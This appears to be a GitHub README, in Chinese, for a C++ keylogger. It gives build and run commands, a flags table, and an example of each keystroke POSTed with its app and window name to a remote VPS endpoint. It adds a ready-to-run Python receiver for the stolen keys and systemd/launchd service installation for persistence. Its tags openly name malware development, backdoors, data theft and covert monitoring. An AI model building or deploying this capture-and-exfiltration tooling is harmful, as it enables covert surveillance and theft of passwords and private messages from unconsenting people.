ArtinDoroudi/keylogger

GitHub: ArtinDoroudi/keylogger

一款基于 C++ 的跨平台按键记录工具,支持本地 JSONL 日志记录与 HTTP 远程传输,可安装为系统服务实现持久化运行。

Stars: 0 | Forks: 0

# keylogger-demo 按键记录器,支持通过 HTTP POST 可选地远程传输日志。 ## 构建 ``` cmake -B build -DCMAKE_BUILD_TYPE=Release cmake --build build ``` ## 快速开始 ``` # 交互式(记录到 cwd,按 Ctrl+C 停止) ./build/keylogger --consent # 带远程日志记录(镜像 = 本地文件 + HTTP POST) ./build/keylogger --consent \ --net-mode mirror \ --net-endpoint http://your-vps:8080/logs ``` ## 标志 | 标志 | 描述 | |------|-------------| | `--consent` | 交互式启动记录 | | `--service` | 无人值守模式(需要 `--consent-file`) | | `--consent-file ` | 第一行为以下内容的文件:`I OWN THIS SYSTEM AND CONSENT TO LOGGING` | | `--log-dir ` | 日志输出目录(默认:cwd) | | `--session-tag ` | 添加到每个事件的标签(1-64 个字符,`[A-Za-z0-9_-]`) | | `--install` | 注册为系统服务(需要 sudo) | | `--uninstall` | 移除系统服务(需要 sudo) | | `--status` | 检查服务是否已注册/正在运行 | | `--force` | 与 `--install` 一起使用时,覆盖现有注册 | | `--net-mode ` | `off`(默认),`mirror`(本地 + 远程),`net-only`(仅远程) | | `--net-endpoint ` | HTTP 端点,例如 `http://your-vps:8080/logs` | | `--net-timeout-ms ` | 连接/发送超时时间(毫秒)(默认:5000) | | `--net-retry-max ` | 每个事件的重试次数(默认:3) | ## 网络日志 当 `--net-mode` 为 `mirror` 或 `net-only` 时,每次按键事件都会作为 JSON 通过 HTTP POST 发送: ``` POST /logs HTTP/1.1 Content-Type: application/json {"ts":"2026-05-02T17:30:45.123Z","vk":65,"key":"a","down":true,"os":"macos","app":"Firefox","window":"Google Search","session_tag":null} ``` 您的服务器只需接受 POST 并返回 200。事件在后台线程中发送,绝不会阻塞按键捕获。发送失败的操作将在退避重试后被丢弃。 ### 最小接收器(Python,无依赖) ``` #!/usr/bin/env python3 from http.server import HTTPServer, BaseHTTPRequestHandler import json class Handler(BaseHTTPRequestHandler): def do_POST(self): body = self.rfile.read(int(self.headers.get("Content-Length", 0))) with open("keys.jsonl", "a") as f: f.write(body.decode() + "\n") self.send_response(200) self.end_headers() def log_message(self, *a): pass HTTPServer(("0.0.0.0", 8080), Handler).serve_forever() ``` 在您的 VPS 上运行:`python3 receiver.py` ## 日志格式 换行符分隔的 JSON(`.jsonl`)。每个事件: ``` {"ts":"2026-05-02T14:30:00.123Z","vk":65,"key":"a","down":true,"os":"linux","app":"Terminal","window":"zsh","session_tag":"lab-01"} ``` ## 服务安装 ``` # Linux (systemd) sudo ./build/keylogger --install \ --consent-file /etc/keylogger/consent.txt \ --log-dir /var/log/keylogger # macOS (launchd) - 在系统设置中授予 Input Monitoring 权限 sudo ./build/keylogger --install \ --consent-file /etc/keylogger/consent.txt \ --log-dir /var/log/keylogger # 检查 / 移除 ./build/keylogger --status sudo ./build/keylogger --uninstall ```
标签:Bash脚本, C++, CMake, ETW劫持, Homebrew安装, HTTP POST, JSON, Python, 中高交互蜜罐, 击键记录, 后门开发, 嗅探欺骗, 恶意软件开发, 数据外发, 数据擦除, 数据窃取, 无后门, 日志记录, 权限维持, 系统服务, 网络安全, 远程日志传输, 键盘监听, 键盘记录器, 隐私保护, 隐蔽监控